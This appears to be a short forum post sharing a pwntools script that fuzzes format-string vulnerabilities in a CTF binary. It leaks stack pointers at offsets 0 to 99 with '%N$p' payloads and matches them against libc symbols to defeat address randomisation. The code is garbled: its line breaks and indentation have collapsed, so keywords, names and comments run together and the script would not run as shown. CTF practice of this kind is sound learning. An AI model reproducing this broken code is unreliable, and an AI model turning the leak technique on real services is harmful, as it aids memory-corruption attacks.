Here's a quick fuzzer I wrote for format string challenges. The idea is to leak pointers at various offsets, and see if any of them are a LIBC symbol (won't catch offsets such as read+14):
from pwn import*context.arch ="amd64"# Change as applicablee =ELF("./format")# Binary namep =process(e.path)l = p.libc # Load libc, initialised with correct valuesrev ={value : key for (key, value) in l.sym.items()}# Flip sym:addr dictdefexec_fmt(pl): p.sendline(pl)return p.clean()# Assumes process loops forever; you'll need to spawn a new process# in this loop if you only get a few leaksfor x inrange(0, 100):# Leak pointer at offset l =exec_fmt(f'%{x}$p').strip()try: l =int(l, 16)print(f"%{x}$p : {hex(l)} - {rev[l]}")# Print matching symbol if foundexcept:pass